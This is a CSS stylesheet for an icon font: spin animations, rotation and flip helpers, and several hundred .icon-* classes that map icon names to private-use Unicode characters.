/* Prevent stack and spinners from being taken inline when inside a link */
a .icon-stacked,
a .icon-spinning {
  display: inline-block;
  text-decoration: none;
}
@-moz-keyframes spin {
  0% {
    -moz-transform: rotate(0deg);
  }
  100% {
    -moz-transform: rotate(359deg);
  }
}
@-webkit-keyframes spin {
  0% {
    -webkit-transform: rotate(0deg);
  }
  100% {
    -webkit-transform: rotate(359deg);
  }
}
@-o-keyframes spin {
  0% {
    -o-transform: rotate(0deg);
  }
  100% {
    -o-transform: rotate(359deg);
  }
}
@-ms-keyframes spin {
  0% {
    -ms-transform: rotate(0deg);
  }
  100% {
    -ms-transform: rotate(359deg);
  }
}
@keyframes spin {
  0% {
    transform: rotate(0deg);
  }
  100% {
    transform: rotate(359deg);
  }
}
/* Icon rotations and mirroring */
.icon-rotate-90:before {
  -webkit-transform: rotate(90deg);
  -moz-transform: rotate(90deg);
  -ms-transform: rotate(90deg);
  -o-transform: rotate(90deg);
  transform: rotate(90deg);
  filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=1);
}
.icon-rotate-180:before {
  -webkit-transform: rotate(180deg);
  -moz-transform: rotate(180deg);
  -ms-transform: rotate(180deg);
  -o-transform: rotate(180deg);
  transform: rotate(180deg);
  filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=2);
}
.icon-rotate-270:before {
  -webkit-transform: rotate(270deg);
  -moz-transform: rotate(270deg);
  -ms-transform: rotate(270deg);
  -o-transform: rotate(270deg);
  transform: rotate(270deg);
  filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=3);
}
.icon-flip-horizontal:before {
  -webkit-transform: scale(-1, 1);
  -moz-transform: scale(-1, 1);
  -ms-transform: scale(-1, 1);
  -o-transform: scale(-1, 1);
  transform: scale(-1, 1);
}
.icon-flip-vertical:before {
  -webkit-transform: scale(1, -1);
  -moz-transform: scale(1, -1);
  -ms-transform: scale(1, -1);
  -o-transform: scale(1, -1);
  transform: scale(1, -1);
}
/* ensure rotation occurs inside anchor tags */
a .icon-rotate-90:before,
a .icon-rotate-180:before,
a .icon-rotate-270:before,
a .icon-flip-horizontal:before,
a .icon-flip-vertical:before {
  display: inline-block;
}

.icon-home:before {
	content: "\e000";
}
.icon-home-2:before {
	content: "\e001";
}
.icon-home-3:before {
	content: "\e002";
}
.icon-office:before {
	content: "\e003";
}
.icon-newspaper:before {
	content: "\e004";
}
.icon-pencil:before {
	content: "\e005";
}
.icon-pencil-2:before {
	content: "\e006";
}
.icon-quill:before {
	content: "\e007";
}
.icon-pen:before {
	content: "\e008";
}
.icon-blog:before {
	content: "\e009";
}
.icon-droplet:before {
	content: "\e00a";
}
.icon-paint-format:before {
	content: "\e00b";
}
.icon-image:before {
	content: "\e00c";
}
.icon-image-2:before {
	content: "\e00d";
}
.icon-images:before {
	content: "\e00e";
}
.icon-camera:before {
	content: "\e00f";
}
.icon-music:before {
	content: "\e010";
}
.icon-headphones:before {
	content: "\e011";
}
.icon-play:before {
	content: "\e012";
}
.icon-film:before {
	content: "\e013";
}
.icon-camera-2:before {
	content: "\e014";
}
.icon-dice:before {
	content: "\e015";
}
.icon-pacman:before {
	content: "\e016";
}
.icon-spades:before {
	content: "\e017";
}
.icon-clubs:before {
	content: "\e018";
}
.icon-diamonds:before {
	content: "\e019";
}
.icon-pawn:before {
	content: "\e01a";
}
.icon-bullhorn:before {
	content: "\e01b";
}
.icon-connection:before {
	content: "\e01c";
}
.icon-podcast:before {
	content: "\e01d";
}
.icon-feed:before {
	content: "\e01e";
}
.icon-book:before {
	content: "\e01f";
}
.icon-books:before {
	content: "\e020";
}
.icon-library:before {
	content: "\e021";
}
.icon-file:before {
	content: "\e022";
}
.icon-profile:before {
	content: "\e023";
}
.icon-file-2:before {
	content: "\e024";
}
.icon-file-3:before {
	content: "\e025";
}
.icon-file-4:before {
	content: "\e026";
}
.icon-copy:before {
	content: "\e027";
}
.icon-copy-2:before {
	content: "\e028";
}
.icon-copy-3:before {
	content: "\e029";
}
.icon-paste:before {
	content: "\e02a";
}
.icon-paste-2:before {
	content: "\e02b";
}
.icon-paste-3:before {
	content: "\e02c";
}
.icon-stack:before {
	content: "\e02d";
}
.icon-folder:before {
	content: "\e02e";
}
.icon-folder-open:before {
	content: "\e02f";
}
.icon-tag:before {
	content: "\e030";
}
.icon-tags:before {
	content: "\e031";
}
.icon-barcode:before {
	content: "\e032";
}
.icon-qrcode:before {
	content: "\e033";
}
.icon-ticket:before {
	content: "\e034";
}
.icon-cart:before {
	content: "\e035";
}
.icon-cart-2:before {
	content: "\e036";
}
.icon-cart-3:before {
	content: "\e037";
}
.icon-coin:before {
	content: "\e038";
}
.icon-credit:before {
	content: "\e039";
}
.icon-calculate:before {
	content: "\e03a";
}
.icon-support:before {
	content: "\e03b";
}
.icon-phone:before {
	content: "\e03c";
}
.icon-phone-hang-up:before {
	content: "\e03d";
}
.icon-address-book:before {
	content: "\e03e";
}
.icon-notebook:before {
	content: "\e03f";
}
.icon-envelop:before {
	content: "\e040";
}
.icon-pushpin:before {
	content: "\e041";
}
.icon-location:before {
	content: "\e042";
}
.icon-location-2:before {
	content: "\e043";
}
.icon-compass:before {
	content: "\e044";
}
.icon-map:before {
	content: "\e045";
}
.icon-map-2:before {
	content: "\e046";
}
.icon-history:before {
	content: "\e047";
}
.icon-clock:before {
	content: "\e048";
}
.icon-clock-2:before {
	content: "\e049";
}
.icon-alarm:before {
	content: "\e04a";
}
.icon-alarm-2:before {
	content: "\e04b";
}
.icon-bell:before {
	content: "\e04c";
}
.icon-stopwatch:before {
	content: "\e04d";
}
.icon-calendar:before {
	content: "\e04e";
}
.icon-calendar-2:before {
	content: "\e04f";
}
.icon-print:before {
	content: "\e050";
}
.icon-keyboard:before {
	content: "\e051";
}
.icon-screen:before {
	content: "\e052";
}
.icon-laptop:before {
	content: "\e053";
}
.icon-mobile:before {
	content: "\e054";
}
.icon-mobile-2:before {
	content: "\e055";
}
.icon-tablet:before {
	content: "\e056";
}
.icon-tv:before {
	content: "\e057";
}
.icon-cabinet:before {
	content: "\e058";
}
.icon-drawer:before {
	content: "\e059";
}
.icon-drawer-2:before {
	content: "\e05a";
}
.icon-drawer-3:before {
	content: "\e05b";
}
.icon-box-add:before {
	content: "\e05c";
}
.icon-box-remove:before {
	content: "\e05d";
}
.icon-download:before {
	content: "\e05e";
}
.icon-upload:before {
	content: "\e05f";
}
.icon-disk:before {
	content: "\e060";
}
.icon-storage:before {
	content: "\e061";
}
.icon-undo:before {
	content: "\e062";
}
.icon-redo:before {
	content: "\e063";
}
.icon-flip:before {
	content: "\e064";
}
.icon-flip-2:before {
	content: "\e065";
}
.icon-undo-2:before {
	content: "\e066";
}
.icon-redo-2:before {
	content: "\e067";
}
.icon-forward:before {
	content: "\e068";
}
.icon-reply:before {
	content: "\e069";
}
.icon-bubble:before {
	content: "\e06a";
}
.icon-bubbles:before {
	content: "\e06b";
}
.icon-bubbles-2:before {
	content: "\e06c";
}
.icon-bubble-2:before {
	content: "\e06d";
}
.icon-bubbles-3:before {
	content: "\e06e";
}
.icon-bubbles-4:before {
	content: "\e06f";
}
.icon-user:before {
	content: "\e070";
}
.icon-users:before {
	content: "\e071";
}
.icon-user-2:before {
	content: "\e072";
}
.icon-users-2:before {
	content: "\e073";
}
.icon-user-3:before {
	content: "\e074";
}
.icon-user-4:before {
	content: "\e075";
}
.icon-quotes-left:before {
	content: "\e076";
}
.icon-busy:before {
	content: "\e077";
}
.icon-spinner:before {
	content: "\e078";
}
.icon-spinner-2:before {
	content: "\e079";
}
.icon-spinner-3:before {
	content: "\e07a";
}
.icon-spinner-4:before {
	content: "\e07b";
}
.icon-spinner-5:before {
	content: "\e07c";
}
.icon-spinner-6:before {
	content: "\e07d";
}
.icon-binoculars:before {
	content: "\e07e";
}
.icon-search:before {
	content: "\e07f";
}
.icon-zoom-in:before {
	content: "\e080";
}
.icon-zoom-out:before {
	content: "\e081";
}
.icon-expand:before {
	content: "\e082";
}
.icon-contract:before {
	content: "\e083";
}
.icon-expand-2:before {
	content: "\e084";
}
.icon-contract-2:before {
	content: "\e085";
}
.icon-key:before {
	content: "\e086";
}
.icon-key-2:before {
	content: "\e087";
}
.icon-lock:before {
	content: "\e088";
}
.icon-lock-2:before {
	content: "\e089";
}
.icon-unlocked:before {
	content: "\e08a";
}
.icon-wrench:before {
	content: "\e08b";
}
.icon-settings:before {
	content: "\e08c";
}
.icon-equalizer:before {
	content: "\e08d";
}
.icon-cog:before {
	content: "\e08e";
}
.icon-cogs:before {
	content: "\e08f";
}
.icon-cog-2:before {
	content: "\e090";
}
.icon-hammer:before {
	content: "\e091";
}
.icon-wand:before {
	content: "\e092";
}
.icon-aid:before {
	content: "\e093";
}
.icon-bug:before {
	content: "\e094";
}
.icon-pie:before {
	content: "\e095";
}
.icon-stats:before {
	content: "\e096";
}
.icon-bars:before {
	content: "\e097";
}
.icon-bars-2:before {
	content: "\e098";
}
.icon-gift:before {
	content: "\e099";
}
.icon-trophy:before {
	content: "\e09a";
}
.icon-glass:before {
	content: "\e09b";
}
.icon-mug:before {
	content: "\e09c";
}
.icon-food:before {
	content: "\e09d";
}
.icon-leaf:before {
	content: "\e09e";
}
.icon-rocket:before {
	content: "\e09f";
}
.icon-meter:before {
	content: "\e0a0";
}
.icon-meter2:before {
	content: "\e0a1";
}
.icon-dashboard:before {
	content: "\e0a2";
}
.icon-hammer-2:before {
	content: "\e0a3";
}
.icon-fire:before {
	content: "\e0a4";
}
.icon-lab:before {
	content: "\e0a5";
}
.icon-magnet:before {
	content: "\e0a6";
}
.icon-remove:before {
	content: "\e0a7";
}
.icon-remove-2:before {
	content: "\e0a8";
}
.icon-briefcase:before {
	content: "\e0a9";
}
.icon-airplane:before {
	content: "\e0aa";
}
.icon-truck:before {
	content: "\e0ab";
}
.icon-road:before {
	content: "\e0ac";
}
.icon-accessibility:before {
	content: "\e0ad";
}
.icon-target:before {
	content: "\e0ae";
}
.icon-shield:before {
	content: "\e0af";
}
.icon-lightning:before {
	content: "\e0b0";
}
.icon-switch:before {
	content: "\e0b1";
}
.icon-power-cord:before {
	content: "\e0b2";
}
.icon-signup:before {
	content: "\e0b3";
}
.icon-list:before {
	content: "\e0b4";
}
.icon-list-2:before {
	content: "\e0b5";
}
.icon-numbered-list:before {
	content: "\e0b6";
}
.icon-menu:before {
	content: "\e0b7";
}
.icon-menu-2:before {
	content: "\e0b8";
}
.icon-tree:before {
	content: "\e0b9";
}
.icon-cloud:before {
	content: "\e0ba";
}
.icon-cloud-download:before {
	content: "\e0bb";
}
.icon-cloud-upload:before {
	content: "\e0bc";
}
.icon-download-2:before {
	content: "\e0bd";
}
.icon-upload-2:before {
	content: "\e0be";
}
.icon-download-3:before {
	content: "\e0bf";
}
.icon-upload-3:before {
	content: "\e0c0";
}
.icon-globe:before {
	content: "\e0c1";
}
.icon-earth:before {
	content: "\e0c2";
}
.icon-link:before {
	content: "\e0c3";
}
.icon-flag:before {
	content: "\e0c4";
}
.icon-attachment:before {
	content: "\e0c5";
}
.icon-eye:before {
	content: "\e0c6";
}
.icon-eye-blocked:before {
	content: "\e0c7";
}
.icon-eye-2:before {
	content: "\e0c8";
}
.icon-bookmark:before {
	content: "\e0c9";
}
.icon-bookmarks:before {
	content: "\e0ca";
}
.icon-brightness-medium:before {
	content: "\e0cb";
}
.icon-brightness-contrast:before {
	content: "\e0cc";
}
.icon-contrast:before {
	content: "\e0cd";
}
.icon-star:before {
	content: "\e0ce";
}
.icon-star-2:before {
	content: "\e0cf";
}
.icon-star-3:before {
	content: "\e0d0";
}
.icon-heart:before {
	content: "\e0d1";
}
.icon-heart-2:before {
	content: "\e0d2";
}
.icon-heart-broken:before {
	content: "\e0d3";
}
.icon-thumbs-up:before {
	content: "\e0d4";
}
.icon-thumbs-up-2:before {
	content: "\e0d5";
}
.icon-happy:before {
	content: "\e0d6";
}
.icon-happy-2:before {
	content: "\e0d7";
}
.icon-smiley:before {
	content: "\e0d8";
}
.icon-smiley-2:before {
	content: "\e0d9";
}
.icon-tongue:before {
	content: "\e0da";
}
.icon-tongue-2:before {
	content: "\e0db";
}
.icon-sad:before {
	content: "\e0dc";
}
.icon-sad-2:before {
	content: "\e0dd";
}
.icon-wink:before {
	content: "\e0de";
}
.icon-wink-2:before {
	content: "\e0df";
}
.icon-grin:before {
	content: "\e0e0";
}
.icon-grin-2:before {
	content: "\e0e1";
}
.icon-cool:before {
	content: "\e0e2";
}
.icon-cool-2:before {
	content: "\e0e3";
}
.icon-angry:before {
	content: "\e0e4";
}
.icon-angry-2:before {
	content: "\e0e5";
}
.icon-evil:before {
	content: "\e0e6";
}
.icon-evil-2:before {
	content: "\e0e7";
}
.icon-shocked:before {
	content: "\e0e8";
}
.icon-shocked-2:before {
	content: "\e0e9";
}
.icon-confused:before {
	content: "\e0ea";
}
.icon-confused-2:before {
	content: "\e0eb";
}
.icon-neutral:before {
	content: "\e0ec";
}
.icon-neutral-2:before {
	content: "\e0ed";
}
.icon-wondering:before {
	content: "\e0ee";
}
.icon-wondering-2:before {
	content: "\e0ef";
}
.icon-point-up:before {
	content: "\e0f0";
}
.icon-point-right:before {
	content: "\e0f1";
}
.icon-point-down:before {
	content: "\e0f2";
}
.icon-point-left:before {
	content: "\e0f3";
}
.icon-warning:before {
	content: "\e0f4";
}
.icon-notification:before {
	content: "\e0f5";
}
.icon-question:before {
	content: "\e0f6";
}
.icon-info:before {
	content: "\e0f7";
}
.icon-info-2:before {
	content: "\e0f8";
}
.icon-blocked:before {
	content: "\e0f9";
}
.icon-cancel-circle:before {
	content: "\e0fa";
}
.icon-checkmark-circle:before {
	content: "\e0fb";
}
.icon-spam:before {
	content: "\e0fc";
}
.icon-close:before {
	content: "\e0fd";
}
.icon-checkmark:before {
	content: "\e0fe";
}
.icon-checkmark-2:before {
	content: "\e0ff";
}
.icon-spell-check:before {
	content: "\e100";
}
.icon-minus:before {
	content: "\e101";
}
.icon-plus:before {
	content: "\e102";
}
.icon-enter:before {
	content: "\e103";
}
.icon-exit:before {
	content: "\e104";
}
.icon-play-2:before {
	content: "\e105";
}
.icon-pause:before {
	content: "\e106";
}
.icon-stop:before {
	content: "\e107";
}
.icon-backward:before {
	content: "\e108";
}
.icon-forward-2:before {
	content: "\e109";
}
.icon-play-3:before {
	content: "\e10a";
}
.icon-pause-2:before {
	content: "\e10b";
}
.icon-stop-2:before {
	content: "\e10c";
}
.icon-backward-2:before {
	content: "\e10d";
}
.icon-forward-3:before {
	content: "\e10e";
}
.icon-first:before {
	content: "\e10f";
}
.icon-last:before {
	content: "\e110";
}
.icon-previous:before {
	content: "\e111";
}
.icon-next:before {
	content: "\e112";
}
.icon-eject:before {
	content: "\e113";
}
.icon-volume-high:before {
	content: "\e114";
}
.icon-volume-medium:before {
	content: "\e115";
}
.icon-volume-low:before {
	content: "\e116";
}
.icon-volume-mute:before {
	content: "\e117";
}
.icon-volume-mute-2:before {
	content: "\e118";
}
.icon-volume-increase:before {
	content: "\e119";
}
.icon-volume-decrease:before {
	content: "\e11a";
}
.icon-loop:before {
	content: "\e11b";
}
.icon-loop-2:before {
	content: "\e11c";
}
.icon-loop-3:before {
	content: "\e11d";
}
.icon-shuffle:before {
	content: "\e11e";
}
.icon-arrow-up-left:before {
	content: "\e11f";
}
.icon-arrow-up:before {
	content: "\e120";
}
.icon-arrow-up-right:before {
	content: "\e121";
}
.icon-arrow-right:before {
	content: "\e122";
}
.icon-arrow-down-right:before {
	content: "\e123";
}
.icon-arrow-down:before {
	content: "\e124";
}
.icon-arrow-down-left:before {
	content: "\e125";
}
.icon-arrow-left:before {
	content: "\e126";
}
.icon-arrow-up-left-2:before {
	content: "\e127";
}
.icon-arrow-up-2:before {
	content: "\e128";
}
.icon-arrow-up-right-2:before {
	content: "\e129";
}
.icon-arrow-right-2:before {
	content: "\e12a";
}
.icon-arrow-down-right-2:before {
	content: "\e12b";
}
.icon-arrow-down-2:before {
	content: "\e12c";
}
.icon-arrow-down-left-2:before {
	content: "\e12d";
}
.icon-arrow-left-2:before {
	content: "\e12e";
}
.icon-arrow-up-left-3:before {
	content: "\e12f";
}
.icon-arrow-up-3:before {
	content: "\e130";
}
.icon-arrow-up-right-3:before {
	content: "\e131";
}
.icon-arrow-right-3:before {
	content: "\e132";
}
.icon-arrow-down-right-3:before {
	content: "\e133";
}
.icon-arrow-down-3:before {
	content: "\e134";
}
.icon-arrow-down-left-3:before {
	content: "\e135";
}
.icon-arrow-left-3:before {
	content: "\e136";
}
.icon-tab:before {
	content: "\e137";
}
.icon-checkbox-checked:before {
	content: "\e138";
}
.icon-checkbox-unchecked:before {
	content: "\e139";
}
.icon-checkbox-partial:before {
	content: "\e13a";
}
.icon-radio-checked:before {
	content: "\e13b";
}
.icon-radio-unchecked:before {
	content: "\e13c";
}
.icon-crop:before {
	content: "\e13d";
}
.icon-scissors:before {
	content: "\e13e";
}
.icon-filter:before {
	content: "\e13f";
}
.icon-filter-2:before {
	content: "\e140";
}
.icon-font:before {
	content: "\e141";
}
.icon-text-height:before {
	content: "\e142";
}
.icon-text-width:before {
	content: "\e143";
}
.icon-bold:before {
	content: "\e144";
}
.icon-underline:before {
	content: "\e145";
}
.icon-italic:before {
	content: "\e146";
}
.icon-strikethrough:before {
	content: "\e147";
}
.icon-omega:before {
	content: "\e148";
}
.icon-sigma:before {
	content: "\e149";
}
.icon-table:before {
	content: "\e14a";
}
.icon-table-2:before {
	content: "\e14b";
}
.icon-insert-template:before {
	content: "\e14c";
}
.icon-pilcrow:before {
	content: "\e14d";
}
.icon-left-to-right:before {
	content: "\e14e";
}
.icon-right-to-left:before {
	content: "\e14f";
}
.icon-paragraph-left:before {
	content: "\e150";
}
.icon-paragraph-center:before {
	content: "\e151";
}
.icon-paragraph-right:before {
	content: "\e152";
}
.icon-paragraph-justify:before {
	content: "\e153";
}
.icon-paragraph-left-2:before {
	content: "\e154";
}
.icon-paragraph-center-2:before {
	content: "\e155";
}
.icon-paragraph-right-2:before {
	content: "\e156";
}
.icon-paragraph-justify-2:before {
	content: "\e157";
}
.icon-indent-increase:before {
	content: "\e158";
}
.icon-indent-decrease:before {
	content: "\e159";
}
.icon-new-tab:before {
	content: "\e15a";
}
.icon-embed:before {
	content: "\e15b";
}
.icon-code:before {
	content: "\e15c";
}
.icon-console:before {
	content: "\e15d";
}
.icon-share:before {
	content: "\e15e";
}
.icon-mail:before {
	content: "\e15f";
}
.icon-mail-2:before {
	content: "\e160";
}
.icon-mail-3:before {
	content: "\e161";
}
.icon-mail-4:before {
	content: "\e162";
}
.icon-google:before {
	content: "\e163";
}
.icon-google-plus:before {
	content: "\e164";
}
.icon-google-plus-2:before {
	content: "\e165";
}
.icon-google-plus-3:before {
	content: "\e166";
}
.icon-google-plus-4:before {
	content: "\e167";
}
.icon-google-drive:before {
	content: "\e168";
}
.icon-facebook:before {
	content: "\e169";
}
.icon-facebook-2:before {
	content: "\e16a";
}
.icon-facebook-3:before {
	content: "\e16b";
}
.icon-instagram:before {
	content: "\e16c";
}
.icon-twitter:before {
	content: "\e16d";
}
.icon-twitter-2:before {
	content: "\e16e";
}
.icon-twitter-3:before {
	content: "\e16f";
}
.icon-feed-2:before {
	content: "\e170";
}
.icon-feed-3:before {
	content: "\e171";
}
.icon-feed-4:before {
	content: "\e172";
}
.icon-youtube:before {
	content: "\e173";
}
.icon-youtube-2:before {
	content: "\e174";
}
.icon-vimeo:before {
	content: "\e175";
}
.icon-vimeo2:before {
	content: "\e176";
}
.icon-vimeo-2:before {
	content: "\e177";
}
.icon-lanyrd:before {
	content: "\e178";
}
.icon-flickr:before {
	content: "\e179";
}
.icon-flickr-2:before {
	content: "\e17a";
}
.icon-flickr-3:before {
	content: "\e17b";
}
.icon-flickr-4:before {
	content: "\e17c";
}
.icon-picassa:before {
	content: "\e17d";
}
.icon-picassa-2:before {
	content: "\e17e";
}
.icon-dribbble:before {
	content: "\e17f";
}
.icon-dribbble-2:before {
	content: "\e180";
}
.icon-dribbble-3:before {
	content: "\e181";
}
.icon-forrst:before {
	content: "\e182";
}
.icon-forrst-2:before {
	content: "\e183";
}
.icon-deviantart:before {
	content: "\e184";
}
.icon-deviantart-2:before {
	content: "\e185";
}
.icon-steam:before {
	content: "\e186";
}
.icon-steam-2:before {
	content: "\e187";
}
.icon-github:before {
	content: "\e188";
}
.icon-github-2:before {
	content: "\e189";
}
.icon-github-3:before {
	content: "\e18a";
}
.icon-github-4:before {
	content: "\e18b";
}
.icon-github-5:before {
	content: "\e18c";
}
.icon-wordpress:before {
	content: "\e18d";
}
.icon-wordpress-2:before {
	content: "\e18e";
}
.icon-joomla:before {
	content: "\e18f";
}
.icon-blogger:before {
	content: "\e190";
}
.icon-blogger-2:before {
	content: "\e191";
}
.icon-tumblr:before {
	content: "\e192";
}
.icon-tumblr-2:before {
	content: "\e193";
}
.icon-yahoo:before {
	content: "\e194";
}
.icon-tux:before {
	content: "\e195";
}
.icon-apple:before {
	content: "\e196";
}
.icon-finder:before {
	content: "\e197";
}
.icon-android:before {
	content: "\e198";
}
.icon-windows:before {
	content: "\e199";
}
.icon-windows8:before {
	content: "\e19a";
}
.icon-soundcloud:before {
	content: "\e19b";
}
.icon-soundcloud-2:before {
	content: "\e19c";
}
.icon-skype:before {
	content: "\e19d";
}
.icon-reddit:before {
	content: "\e19e";
}
.icon-linkedin:before {
	content: "\e19f";
}
.icon-lastfm:before {
	content: "\e1a0";
}
.icon-lastfm-2:before {
	content: "\e1a1";
}
.icon-delicious:before {
	content: "\e1a2";
}
.icon-stumbleupon:before {
	content: "\e1a3";
}
.icon-stumbleupon-2:before {
	content: "\e1a4";
}
.icon-stackoverflow:before {
	content: "\e1a5";
}
.icon-pinterest:before {
	content: "\e1a6";
}
.icon-pinterest-2:before {
	content: "\e1a7";
}
.icon-xing:before {
	content: "\e1a8";
}
.icon-xing-2:before {
	content: "\e1a9";
}
.icon-flattr:before {
	content: "\e1aa";
}
.icon-foursquare:before {
	content: "\e1ab";
}
.icon-foursquare-2:before {
	content: "\e1ac";
}
.icon-paypal:before {
	content: "\e1ad";
}
.icon-paypal-2:before {
	content: "\e1ae";
}
.icon-paypal-3:before {
	content: "\e1af";
}
.icon-yelp:before {
	content: "\e1b0";
}
.icon-libreoffice:before {
	content: "\e1b1";
}
.icon-file-pdf:before {
	content: "\e1b2";
}
.icon-file-openoffice:before {
	content: "\e1b3";
}
.icon-file-word:before {
	content: "\e1b4";
}
.icon-file-excel:before {
	content: "\e1b5";
}
.icon-file-zip:before {
	content: "\e1b6";
}
.icon-file-powerpoint:before {
	content: "\e1b7";
}
.icon-file-xml:before {
	content: "\e1b8";
}
.icon-file-css:before {
	content: "\e1b9";
}
.icon-html5:before {
	content: "\e1ba";
}
.icon-html5-2:before {
	content: "\e1bb";
}
.icon-css3:before {
	content: "\e1bc";
}
.icon-chrome:before {
	content: "\e1bd";
}
.icon-firefox:before {
	content: "\e1be";
}
.icon-IE:before {
	content: "\e1bf";
}
.icon-opera:before {
	content: "\e1c0";
}
.icon-safari:before {
	content: "\e1c1";
}
.icon-IcoMoon:before {
	content: "\e1c2";
}
.icon-chat:before {
	content: "\e1c5";
}
.icon-chat-alt-stroke:before {
	content: "\e1c6";
}
.icon-chat-alt-fill:before {
	content: "\e1c7";
}
.icon-comment-alt1-stroke:before {
	content: "\e1c8";
}
.icon-comment-alt1-fill:before {
	content: "\e1c9";
}
.icon-comment-stroke:before {
	content: "\e1ca";
}
.icon-comment-fill:before {
	content: "\e1cb";
}
.icon-comment-alt2-stroke:before {
	content: "\e1cc";
}
.icon-comment-alt2-fill:before {
	content: "\e1cd";
}
.icon-checkmark-3:before {
	content: "\e1ce";
}
.icon-check-alt:before {
	content: "\e1cf";
}
.icon-x:before {
	content: "\e1d0";
}
.icon-x-altx-alt:before {
	content: "\e1d1";
}
.icon-denied:before {
	content: "\e1d2";
}
.icon-cursor:before {
	content: "\e1d3";
}
.icon-rss:before {
	content: "\e1d4";
}
.icon-rss-alt:before {
	content: "\e1d5";
}
.icon-wrench-2:before {
	content: "\e1d6";
}
.icon-dial:before {
	content: "\e1d7";
}
.icon-cog-3:before {
	content: "\e1d8";
}
.icon-calendar-3:before {
	content: "\e1d9";
}
.icon-calendar-alt-stroke:before {
	content: "\e1da";
}
.icon-calendar-alt-fill:before {
	content: "\e1db";
}
.icon-share-2:before {
	content: "\e1dc";
}
.icon-mail-5:before {
	content: "\e1dd";
}
.icon-heart-stroke:before {
	content: "\e1de";
}
.icon-heart-fill:before {
	content: "\e1df";
}
.icon-movie:before {
	content: "\e1e0";
}
.icon-document-alt-stroke:before {
	content: "\e1e1";
}
.icon-document-alt-fill:before {
	content: "\e1e2";
}
.icon-document-stroke:before {
	content: "\e1e3";
}
.icon-document-fill:before {
	content: "\e1e4";
}
.icon-plus-2:before {
	content: "\e1e5";
}
.icon-plus-alt:before {
	content: "\e1e6";
}
.icon-minus-2:before {
	content: "\e1e7";
}
.icon-minus-alt:before {
	content: "\e1e8";
}
.icon-pin:before {
	content: "\e1e9";
}
.icon-link-2:before {
	content: "\e1ea";
}
.icon-bolt:before {
	content: "\e1eb";
}
.icon-move:before {
	content: "\e1ec";
}
.icon-move-alt1:before {
	content: "\e1ed";
}
.icon-move-alt2:before {
	content: "\e1ee";
}
.icon-equalizer-2:before {
	content: "\e1ef";
}
.icon-award-fill:before {
	content: "\e1f0";
}
.icon-award-stroke:before {
	content: "\e1f1";
}
.icon-magnifying-glass:before {
	content: "\e1f2";
}
.icon-trash-stroke:before {
	content: "\e1f3";
}
.icon-trash-fill:before {
	content: "\e1f4";
}
.icon-beaker-alt:before {
	content: "\e1f5";
}
.icon-beaker:before {
	content: "\e1f6";
}
.icon-key-stroke:before {
	content: "\e1f7";
}
.icon-key-fill:before {
	content: "\e1f8";
}
.icon-new-window:before {
	content: "\e1f9";
}
.icon-lightbulb:before {
	content: "\e1fa";
}
.icon-spin-alt:before {
	content: "\e1fb";
}
.icon-spin:before {
	content: "\e1fc";
}
.icon-curved-arrow:before {
	content: "\e1fd";
}
.icon-undo-3:before {
	content: "\e1fe";
}
.icon-reload:before {
	content: "\e1ff";
}
.icon-reload-alt:before {
	content: "\e200";
}
.icon-loop-4:before {
	content: "\e201";
}
.icon-loop-alt1:before {
	content: "\e202";
}
.icon-loop-alt2:before {
	content: "\e203";
}
.icon-loop-alt3:before {
	content: "\e204";
}
.icon-loop-alt4:before {
	content: "\e205";
}
.icon-transfer:before {
	content: "\e206";
}
.icon-move-vertical:before {
	content: "\e207";
}
.icon-move-vertical-alt1:before {
	content: "\e208";
}
.icon-move-vertical-alt2:before {
	content: "\e209";
}
.icon-move-horizontal:before {
	content: "\e20a";
}
.icon-move-horizontal-alt1:before {
	content: "\e20b";
}
.icon-move-horizontal-alt2:before {
	content: "\e20c";
}
.icon-arrow-left-4:before {
	content: "\e20d";
}
.icon-arrow-left-alt1:before {
	content: "\e20e";
}
.icon-arrow-left-alt2:before {
	content: "\e20f";
}
.icon-arrow-right-4:before {
	content: "\e210";
}
.icon-arrow-right-alt1:before {
	content: "\e211";
}
.icon-arrow-right-alt2:before {
	content: "\e212";
}
.icon-arrow-up-4:before {
	content: "\e213";
}
.icon-arrow-up-alt1:before {
	content: "\e214";
}
.icon-arrow-up-alt2:before {
	content: "\e215";
}
.icon-arrow-down-4:before {
	content: "\e216";
}
.icon-arrow-down-alt1:before {
	content: "\e217";
}
.icon-arrow-down-alt2:before {
	content: "\e218";
}
.icon-cd:before {
	content: "\e219";
}
.icon-steering-wheel:before {
	content: "\e21a";
}
.icon-microphone:before {
	content: "\e21b";
}
.icon-headphones-2:before {
	content: "\e21c";
}
.icon-volume:before {
	content: "\e21d";
}
.icon-volume-mute-3:before {
	content: "\e21e";
}
.icon-play-4:before {
	content: "\e21f";
}
.icon-pause-3:before {
	content: "\e220";
}
.icon-stop-3:before {
	content: "\e221";
}
.icon-eject-2:before {
	content: "\e222";
}
.icon-first-2:before {
	content: "\e223";
}
.icon-last-2:before {
	content: "\e224";
}
.icon-play-alt:before {
	content: "\e225";
}
.icon-fullscreen-exit:before {
	content: "\e226";
}
.icon-fullscreen-exit-alt:before {
	content: "\e227";
}
.icon-fullscreen:before {
	content: "\e228";
}
.icon-fullscreen-alt:before {
	content: "\e229";
}
.icon-iphone:before {
	content: "\e22a";
}
.icon-battery-empty:before {
	content: "\e22b";
}
.icon-battery-half:before {
	content: "\e22c";
}
.icon-battery-full:before {
	content: "\e22d";
}
.icon-battery-charging:before {
	content: "\e22f";
}
.icon-compass-2:before {
	content: "\e230";
}
.icon-box:before {
	content: "\e231";
}
.icon-folder-stroke:before {
	content: "\e232";
}
.icon-folder-fill:before {
	content: "\e233";
}
.icon-at:before {
	content: "\e234";
}
.icon-ampersand:before {
	content: "\e235";
}
.icon-info-3:before {
	content: "\e236";
}
.icon-question-mark:before {
	content: "\e237";
}
.icon-pilcrow-2:before {
	content: "\e238";
}
.icon-hash:before {
	content: "\e239";
}
.icon-left-quote:before {
	content: "\e23a";
}
.icon-right-quote:before {
	content: "\e23b";
}
.icon-left-quote-alt:before {
	content: "\e23c";
}
.icon-right-quote-alt:before {
	content: "\e23d";
}
.icon-article:before {
	content: "\e23e";
}
.icon-read-more:before {
	content: "\e23f";
}
.icon-list-3:before {
	content: "\e240";
}
.icon-list-nested:before {
	content: "\e241";
}
.icon-book-2:before {
	content: "\e242";
}
.icon-book-alt:before {
	content: "\e243";
}
.icon-book-alt2:before {
	content: "\e244";
}
.icon-pen-2:before {
	content: "\e245";
}
.icon-pen-alt-stroke:before {
	content: "\e246";
}
.icon-pen-alt-fill:before {
	content: "\e247";
}
.icon-pen-alt2:before {
	content: "\e248";
}
.icon-brush:before {
	content: "\e249";
}
